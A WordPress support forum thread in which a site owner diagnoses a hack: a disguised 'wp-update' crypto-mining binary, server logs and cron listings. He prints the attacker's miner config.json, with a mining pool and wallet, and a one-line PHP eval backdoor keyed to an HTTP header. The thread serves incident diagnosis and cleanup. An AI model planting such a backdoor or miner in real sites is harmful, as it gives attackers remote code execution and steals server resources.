Support » Fixing WordPress » /wp-admin/WP-UPDATE – a virus?

  • I have Ubuntu 16.04 and DA updated to last version. We also have Installatron.

    We see a strange file, that keeps servers CPU loaded to 176 percents for over 2 weeks now:

    I go to to DA Admin -> Process Monitor I see this:

    
    30217    <THE_USER>    20    0    2938476    2.289g    3832    S    176.5    23.4    1173:14    /home/<THE_USER>/domains/test.<THE_DOMAIN>.com/private_html/wp-admin/wp-update -B -l /dev/null
    

    That file is ~2 MiB, and created on 6:30AM on June 15th. Nobody works for us so early.

    And if I open that file, it is a binary file, does not look like WordPress update.

    Also if I go to http://checkfiletype.com/upload-and-check , and upload that file, I get:

    
    File Type: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x8d292bfaf2b7358c244b6a11ae8bc9b42bb11607, stripped
    
    MIME Type: application/x-executable
    Suggested file extension(s): so
    
    File Meta Data
    File Size	2.6 MB
    File Type	ELF executable
    File Type Extension	
    MIME Type	application/octet-stream
    CPU Architecture	64 bit
    CPU Byte Order	Little endian
    Object File Type	Executable file
    CPU Type	AMD x86-64
    

    So is that a virus?

    • This topic was modified 1 week, 5 days ago by KestutisIT.
    • This topic was modified 1 week, 5 days ago by KestutisIT.
    • This topic was modified 1 week, 5 days ago by KestutisIT.
Viewing 15 replies - 1 through 15 (of 27 total)
  • Moderator Steven Stern (sterndata)

    (@sterndata)

    Support Team Volunteer

    You’ve been hacked.

    Get a fresh cup of coffee, take a deep breath and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    If you’re unable to clean your site(s) successfully, there are reputable organizations that can clean your sites for you. Sucuri and Wordfence are a couple.

    Steven, can you give more details/proves that would confirm that this is a trully hack? How this executable file can be damaging, if this is only a user not a root. Is it come via one of plugins? As we keep all up to date, and buy premium plugins only. The file causes hi CPU load, and is fully writable. Appears it is .so file, but regular WP users cannot execute server files, so is that is a server hack? And if this is a server hack, why then it is only on this test domain website, not in server root?

    • This reply was modified 1 week, 5 days ago by KestutisIT.
    Moderator Steven Stern (sterndata)

    (@sterndata)

    Support Team Volunteer

    There is no such file in wp-admin in the WP distribution.

    Where did it come from? It’s hard to say. You need to deal with it.

    Moderator Yui

    (@fierevere)

    ゆい

    WordPress does not ship this file.
    More interesting fact – its a binary executable file. (an *.exe in other words)
    This is definitely some kind of backdoor/malware.
    You can delete this, but before you can do so, you can try to analyze it with

    https://virustotal.com
    They might provide some clues about nature of this EXE.

    Make sure to check the links above and try finding where it came from, maybe an outdated plugin or theme allowed to upload that file.

    PS:

    but regular WP users cannot execute server files, so is that is a server hack?

    It can be still WP level hack. Uploaded file in standard WP data folder, then run this via PHP exec() function

    • This reply was modified 1 week, 4 days ago by Yui.

    Yui, that is a serious INPUT:
    https://www.virustotal.com/gui/file/ce0cd956dd06551db0b3184d42087dd6399252106a690be5d703691f4e316c9a/detection

    It says it a crypto/gold miner. Well, that is pretty obvious then why the CPU is loaded so much. Now the question, how it got there via up-to-date direct admin, ubuntu 16.04, installatron, and up to date WordPress.
    It says that file owner and file group is the username of that DA user, so I guess it is not a root. And file is writable. Quetion is how the hell that file is keep running, as it is no WP cronjob. It shows that file in Process Monitor. So maybe they created temporary file to run it forever. But how to do that with PHP, which is runtime. Did they had to get ROOT access, does users can really run infinite scripts / create processes?
    —–

    This is from VIRUS TOTAL:

    
    File System Actions - Files Opened
    /etc/ld.so.cache
    /lib/x86_64-linux-gnu/libpthread.so.0
    /lib/x86_64-linux-gnu/librt.so.1
    /lib/x86_64-linux-gnu/libdl.so.2
    /lib/x86_64-linux-gnu/libm.so.6
    /lib/x86_64-linux-gnu/libc.so.6
    
    Modules Loaded - Runtime Modules
    /lib/x86_64-linux-gnu/libdl.so.2
    /lib64/ld-linux-x86-64.so.2
    /lib/x86_64-linux-gnu/libc.so.6
    /lib/x86_64-linux-gnu/libpthread.so.0
    linux-vdso.so.1
    /lib/x86_64-linux-gnu/libm.so.6
    /lib/x86_64-linux-gnu/librt.so.1
    

    And this is server logs. Is it possible that somehow WP-CRON got vulnerable or is executed by that vulnerability. And if so, how to find out which exact file and exact action that cronjob calls. And maybe there is executor in theme files or in WooCommerce plugin?

    
    (server_ip) - - [30/Jun/2020:19:07:30 +0300] "POST /wp-cron.php?doing_wp_cron=1593533250.6059360504150390625000 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533250.6059360504150390625000" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.89 - - [30/Jun/2020:19:07:29 +0300] "GET /?_dnlink=20244&aid=20186&t=1592639440 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    (server_ip) - - [30/Jun/2020:19:10:04 +0300] "POST /wp-cron.php?doing_wp_cron=1593533404.2391109466552734375000 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533404.2391109466552734375000" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.10 - - [30/Jun/2020:19:10:02 +0300] "GET /?_dnlink=20244&aid=20186&t=1592652037 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    (server_ip) - - [30/Jun/2020:19:12:31 +0300] "POST /wp-cron.php?doing_wp_cron=1593533551.0301671028137207031250 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533551.0301671028137207031250" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.86 - - [30/Jun/2020:19:12:29 +0300] "GET /?_dnlink=20244&aid=20186&t=1592653177 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    (server_ip) - - [30/Jun/2020:19:15:09 +0300] "POST /wp-cron.php?doing_wp_cron=1593533709.1704730987548828125000 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533709.1704730987548828125000" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.89 - - [30/Jun/2020:19:15:06 +0300] "GET /?_dnlink=20244&aid=20186&t=1592658945 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    (server_ip) - - [30/Jun/2020:19:17:43 +0300] "POST /wp-cron.php?doing_wp_cron=1593533863.9395420551300048828125 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533863.9395420551300048828125" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.209 - - [30/Jun/2020:19:17:41 +0300] "GET /?_dnlink=20244&aid=20186&t=1592658995 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    (server_ip) - - [30/Jun/2020:19:20:07 +0300] "POST /wp-cron.php?doing_wp_cron=1593534007.5581440925598144531250 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593534007.5581440925598144531250" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.209 - - [30/Jun/2020:19:20:05 +0300] "GET /?_dnlink=20154&aid=20157&t=1593321246 HTTP/1.1" 302 4129 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    (server_ip) - - [30/Jun/2020:19:22:26 +0300] "POST /wp-cron.php?doing_wp_cron=1593534146.3873300552368164062500 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593534146.3873300552368164062500" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.73 - - [30/Jun/2020:19:22:24 +0300] "GET /?_dnlink=20241&aid=20186&t=1593321375 HTTP/1.1" 302 4127 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    (server_ip) - - [30/Jun/2020:19:24:53 +0300] "POST /wp-cron.php?doing_wp_cron=1593534292.9798390865325927734375 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593534292.9798390865325927734375" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.89 - - [30/Jun/2020:19:24:51 +0300] "GET /?_dnlink=20239&aid=20186&t=1592832358 HTTP/1.1" 302 4129 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    (server_ip) - - [30/Jun/2020:19:26:02 +0300] "POST /wp-cron.php?doing_wp_cron=1593534362.4460999965667724609375 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593534362.4460999965667724609375" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    
    
    • This reply was modified 1 week, 4 days ago by KestutisIT.
    • This reply was modified 1 week, 4 days ago by KestutisIT.
    • This reply was modified 1 week, 4 days ago by KestutisIT.
    • This reply was modified 1 week, 3 days ago by Yui.

    And this is server logs. Is it possible that somehow WP-CRON got vulnerable or is executed by that vulnerability. And if so, how to find out which exact file and exact action that cronjob calls. And maybe there is executor in theme files or in WooCommerce plugin?

    
    213.252.247.112 - - [30/Jun/2020:19:07:30 +0300] "POST /wp-cron.php?doing_wp_cron=1593533250.6059360504150390625000 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533250.6059360504150390625000" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.89 - - [30/Jun/2020:19:07:29 +0300] "GET /?_dnlink=20244&aid=20186&t=1592639440 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    213.252.247.112 - - [30/Jun/2020:19:10:04 +0300] "POST /wp-cron.php?doing_wp_cron=1593533404.2391109466552734375000 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533404.2391109466552734375000" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.10 - - [30/Jun/2020:19:10:02 +0300] "GET /?_dnlink=20244&aid=20186&t=1592652037 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    213.252.247.112 - - [30/Jun/2020:19:12:31 +0300] "POST /wp-cron.php?doing_wp_cron=1593533551.0301671028137207031250 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533551.0301671028137207031250" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.86 - - [30/Jun/2020:19:12:29 +0300] "GET /?_dnlink=20244&aid=20186&t=1592653177 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    213.252.247.112 - - [30/Jun/2020:19:15:09 +0300] "POST /wp-cron.php?doing_wp_cron=1593533709.1704730987548828125000 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533709.1704730987548828125000" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.89 - - [30/Jun/2020:19:15:06 +0300] "GET /?_dnlink=20244&aid=20186&t=1592658945 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    213.252.247.112 - - [30/Jun/2020:19:17:43 +0300] "POST /wp-cron.php?doing_wp_cron=1593533863.9395420551300048828125 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593533863.9395420551300048828125" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.209 - - [30/Jun/2020:19:17:41 +0300] "GET /?_dnlink=20244&aid=20186&t=1592658995 HTTP/1.1" 302 4112 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    213.252.247.112 - - [30/Jun/2020:19:20:07 +0300] "POST /wp-cron.php?doing_wp_cron=1593534007.5581440925598144531250 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593534007.5581440925598144531250" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.209 - - [30/Jun/2020:19:20:05 +0300] "GET /?_dnlink=20154&aid=20157&t=1593321246 HTTP/1.1" 302 4129 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    213.252.247.112 - - [30/Jun/2020:19:22:26 +0300] "POST /wp-cron.php?doing_wp_cron=1593534146.3873300552368164062500 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593534146.3873300552368164062500" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.73 - - [30/Jun/2020:19:22:24 +0300] "GET /?_dnlink=20241&aid=20186&t=1593321375 HTTP/1.1" 302 4127 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    213.252.247.112 - - [30/Jun/2020:19:24:53 +0300] "POST /wp-cron.php?doing_wp_cron=1593534292.9798390865325927734375 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593534292.9798390865325927734375" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    54.36.148.89 - - [30/Jun/2020:19:24:51 +0300] "GET /?_dnlink=20239&aid=20186&t=1592832358 HTTP/1.1" 302 4129 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
    213.252.247.112 - - [30/Jun/2020:19:26:02 +0300] "POST /wp-cron.php?doing_wp_cron=1593534362.4460999965667724609375 HTTP/1.1" 200 4006 "https://test.<THED_DOMAIN>.com/wp-cron.php?doing_wp_cron=1593534362.4460999965667724609375" "WordPress/5.4.2; https://test.<THED_DOMAIN>.com"
    5.20.143.94 - - [30/Jun/2020:19:26:00 +0300] "GET / HTTP/1.1" 200 45495 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
    
    • This reply was modified 1 week, 4 days ago by KestutisIT.

    It appears that the hackers may be using https://ahrefs.com/robot to detonate the WP Cronjob.

    Moderator Yui

    (@fierevere)

    ゆい

    No, programs ran with PHP exec() are not accountable within PHP limits for memory_limit and max_execution_time, that program can fork itself into background and run until server reboot

    ahrefs is annoying bot, it can trigger cron execution just as any other visitor,
    another question is why do you have so much WP cron jobs, maybe virus check itself if its installed, if its running.

    Anyway, its a miner, so its relatively good sign, they only want your CPU, they dont send spam or do any weirdnesses like other botnets… hopefully.

    Link to the guide, again – https://wordpress.org/support/article/faq-my-site-was-hacked/

    So we installed recommended “WP Control” plugin to see all WP Cronjobs.
    I see that there is one cronjob set to happen every minute, and interesting cron from migration plugin. The server was restarted since 06/15, so somehow script was launched again, so I guess a detonator suppose to be hidden somewhere to launch it, right:

    
    CRON HOOK: action_scheduler_run_queue
    PARAMS: [    "WP Cron"]
    LAST RUN: 2020-06-30 17:37:57; 1 second ago
    CALL: ActionScheduler_QueueRunner->run()
    NOTES: I GUESS THIS COMES FROM WooCommerce, WHY IT IS SO OFTEN?
    PACE: Every minute
    
    CRON HOOK: ai1wm_storage_cleanup
    PARAMS: None	2020-07-01 04:30:27; 10 hours 52 minutes	
    CALL: Ai1wm_Export_Controller::cleanup()
    NOTES: WHY ALL-IN-ONE WP MIGRATION TOOL NEEDS CRONJOBS?
    PACE: Once Daily
    

    This is a full list of cronjobs:

    
    	Hook	Arguments	Next Run (UTC)	Action	Recurrence
    action_scheduler_run_queue
    
    [
        "WP Cron"
    ]
    2020-06-30 17:37:57
    1 second	ActionScheduler_QueueRunner->run()	Every minute
    mailster_cron_autoresponder
    
    None	2020-06-30 17:39:30
    1 minute 34 seconds	MailsterQueue->autoresponder_timebased()
    MailsterQueue->autoresponder_usertime()
    MailsterQueue->autoresponder()	Mailster Cronjob Interval
    mailster_cron_bounce
    
    None	2020-06-30 17:39:30
    1 minute 34 seconds	MailsterBounce->check()	Mailster Cronjob Interval
    mailster_cron_worker
    
    None	2020-06-30 17:40:00
    2 minutes 4 seconds	MailsterCron->handler()
    MailsterQueue->update_status()
    MailsterSubscribers->send_confirmations()
    MailsterQueue->update()
    MailsterQueue->progress()
    MailsterQueue->finish_campaigns()	Mailster Cronjob Interval
    somdn_delete_download_files_event
    
    None	2020-06-30 17:48:01
    10 minutes 5 seconds	somdn_delete_download_files()	Once Hourly
    mailster_cron
    
    None	2020-06-30 17:55:00
    17 minutes 4 seconds	MailsterGeo->maybe_set_cron()
    Mailster->check_homepage()
    Mailster->check_compatibility()
    MailsterCron->hourly_cronjob()
    MailsterQueue->update_status()
    MailsterQueue->update()	Once Hourly
    mailster_cron_cleanup
    
    None	2020-06-30 17:57:00
    19 minutes 4 seconds	MailsterActions->cleanup()
    MailsterQueue->cleanup()	Once Hourly
    wp_privacy_delete_old_export_files
    
    None	2020-06-30 18:04:37
    26 minutes 41 seconds	wp_privacy_delete_old_export_files()	Once Hourly
    woocommerce_cleanup_logs
    
    None	2020-06-30 18:21:39
    43 minutes 43 seconds	wc_cleanup_logs()	Once Daily
    wc_admin_process_orders_milestone
    
    None	2020-06-30 18:26:44
    48 minutes 48 seconds	Automattic\WooCommerce\Admin\Notes\WC_Admin_Notes_Order_Milestones->other_milestones()	Once Hourly
    wc_admin_unsnooze_admin_notes
    
    None	2020-06-30 18:27:24
    49 minutes 28 seconds	 None	Once Hourly
    woocommerce_cleanup_sessions
    
    None	2020-06-30 21:21:39
    3 hours 43 minutes	wc_cleanup_session_data()	Twice Daily
    woocommerce_scheduled_sales
    
    None	2020-07-01 00:00:00
    6 hours 22 minutes	wc_scheduled_sales()	Once Daily
    wp_version_check
    
    None	2020-07-01 03:04:39
    9 hours 26 minutes	wp_version_check()
    MailsterRegister->verified_notice()	Twice Daily
    wp_update_plugins
    
    None	2020-07-01 03:04:40
    9 hours 26 minutes	wp_update_plugins()
    UpdateCenterPlugin->check_periodic_updates()
    MailsterTemplates->get_mailster_templates()	Twice Daily
    wp_update_themes
    
    None	2020-07-01 03:04:41
    9 hours 26 minutes	wp_update_themes()	Twice Daily
    ai1wm_storage_cleanup
    
    None	2020-07-01 04:30:27
    10 hours 52 minutes	Ai1wm_Export_Controller::cleanup()	Once Daily
    wc_admin_daily
    
    None	2020-07-01 09:27:05
    15 hours 49 minutes	Automattic\WooCommerce\Admin\Events->do_wc_admin_daily()	Once Daily
    recovery_mode_clean_expired_keys
    
    None	2020-07-01 15:04:36
    21 hours 26 minutes	WP_Recovery_Mode->clean_expired_keys()	Once Daily
    delete_expired_transients
    
    None	2020-07-01 15:05:01
    21 hours 27 minutes	delete_expired_transients()	Once Daily
    wp_scheduled_delete
    
    None	2020-07-01 15:05:01
    21 hours 27 minutes	wp_scheduled_delete()	Once Daily
    wp_scheduled_auto_draft_delete
    
    None	2020-07-01 15:05:05
    21 hours 27 minutes	wp_delete_auto_drafts()	Once Daily
    woocommerce_cleanup_personal_data
    
    None	2020-07-01 15:21:49
    21 hours 43 minutes	WC_Privacy->queue_cleanup_personal_data()	Once Daily
    woocommerce_tracker_send_event
    
    None	2020-07-01 15:21:49
    21 hours 43 minutes	 None	Once Daily
    woocommerce_geoip_updater
    
    None	2020-07-04 15:22:39
    3 days 21 hours	WC_Integration_MaxMind_Geolocation->update_database()	Every 15 Days
    wp_site_health_scheduled_check
    
    None	2020-07-07 08:03:14
    6 days 14 hours	WP_Site_Health->wp_cron_scheduled_check()	Once Weekly
    
    • This reply was modified 1 week, 4 days ago by KestutisIT.

    So we discovered that wp-admin/wp-update.php also has been hacked and has eval(…) in it. Also this virus blocked WordPress to notify on existing plugin and theme updates, so system was always showing that plugins, WordPress itself, and themes are up to date. So all this has been discovered via WordFence. Still we trying to figure out how does cronjobs has been started, or how that linux executive file got to be running/launched infinitely, even after server restart.

    So, on 2020-06-30 4:30 AM EEST, two new files were created by hacker.
    wp-admin/config.json:

    
    {
        "api": {
            "id": null,
            "worker-id": null
        },
        "http": {
            "enabled": false,
            "host": "127.0.0.1",
            "port": 0,
            "access-token": null,
            "restricted": true
        },
        "autosave": true,
        "background": false,
        "colors": true,
        "randomx": {
            "init": -1,
            "mode": "auto",
            "1gb-pages": false,
            "rdmsr": true,
            "wrmsr": true,
            "numa": true
        },
        "cpu": {
            "enabled": true,
            "huge-pages": true,
            "hw-aes": null,
            "priority": null,
            "memory-pool": false,
            "yield": true,
            "asm": true,
            "max-threads-hint": 75,
            "argon2-impl": null,
            "astrobwt-max-size": 550,
            "astrobwt-avx2": false,
            "argon2": [0, 1, 2],
            "astrobwt": [0, 1, 2],
            "cn": [
                [1, 0],
                [1, 1],
                [1, 2]
            ],
            "cn-heavy": [
                [1, 0],
                [1, 1],
                [1, 2]
            ],
            "cn-lite": [
                [1, 0],
                [1, 1],
                [1, 2]
            ],
            "cn-pico": [
                [2, 0],
                [2, 1],
                [2, 2]
            ],
            "rx": {"intensity": 3, "threads": 2,"affinity": -1},
            "rx/wow": [0, 1, 2],
            "cn/0": false,
            "cn-lite/0": false,
            "rx/arq": "rx/wow",
            "rx/keva": "rx/wow"
        },
        "opencl": {
            "enabled": false,
            "cache": true,
            "loader": null,
            "platform": "AMD",
            "adl": true,
            "cn/0": false,
            "cn-lite/0": false
        },
        "cuda": {
            "enabled": false,
            "loader": null,
            "nvml": true,
            "cn/0": false,
            "cn-lite/0": false
        },
        "donate-level": 1,
        "donate-over-proxy": 1,
        "log-file": null,
        "pools": [
            {
                "algo": "rx/0",
                "coin": null,
                "url": "pool.minexmr.com:80",
                "user": "47thiZzQM7dUcxygJoFLpxK8M1i9KGJYF8vVbUTDRYyq82x2BXrwjyyUF3zEck7Fm3T1w81Shspc191N8exn2iXSTnR62XZ",
                "pass": "x",
                "rig-id": null,
                "nicehash": false,
                "keepalive": false,
                "enabled": true,
                "tls": false,
                "tls-fingerprint": null,
                "daemon": false,
                "socks5": null,
                "self-select": null
            }
        ],
        "print-time": 60,
        "health-print-time": 60,
        "retries": 5,
        "retry-pause": 5,
        "syslog": false,
        "tls": {
            "enabled": false,
            "protocols": null,
            "cert": null,
            "cert_key": null,
            "ciphers": null,
            "ciphersuites": null,
            "dhparam": null
        },
        "user-agent": null,
        "verbose": 0,
        "watch": true
    }
    

    And wp-admin/wp-update.php with the following content:
    <?php @eval($_SERVER['HTTP_33C5119052D55684']); ?>

    As I understand second files runs any PHP scripts that is passed via Network tab as a variable? How to pass that value? It is not _COOKIE, _GET, _POST?
    And what is the purpose of config.json.

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Support Team Volunteer

    Please do not use the forums to share hacked code.

    Delouse your site and get it back working. Thanks.

    @kestutisit,

    Thank you for sharing this info! Please don’t stop.

    Sometime last week my CPU usage went to 100% and top showed it was wp-update.

    Since then I found a number of hacked files including the ones you mentioned, and have deleted/replace them all.

    At this point I’m pretty disappointed that VaultPress didn’t find the changed wordpress core files, or notify me of any errors.

    If anyone can recommend a good malware detection service please do!

    And @kestutisit, please keep sharing what you find – and any steps you’ve taken – your help is very much appreciated!

    Shawn

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Support Team Volunteer

    The ONLY reliable solution is to delete all of the files on your site except the media files in wp-contents. Replace plugins, themes, and WP from their official sources. Verify the contents of wp-config.php and .htaccess. Scan the database looking for javascript and/or base64 stuff.

    As I noted above, that’s the solution. If you’d like to continue to discuss how the hack(s) may have occurred, that’s fine. Just don’t do it here.

    You might also consider bringing in professionals from Sucuri or WordFence to examine your site and server.

    But at this point, it’s time to close this topic.

    Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    @kestutisit I’m replying here so you’ll get the email, I also pinged you on your meta trac ticket.

    If you need to contact the moderators about this then you can do so via the Slack #forums channel.

    To use that channel you need a Slack account. You can obtain one via these instructions.

    https://make.wordpress.org/chat/

    When you contact the #forums channel, inform them what your WordPress.ORG forum user ID is. That will help the moderators find your account and ascertain what the issue is.

    If you do use Slack do not direct message me or any other moderator. Use the #forums channel and any moderator there can assist you.

Viewing 15 replies - 1 through 15 (of 27 total)
  • The topic ‘/wp-admin/WP-UPDATE – a virus?’ is closed to new replies.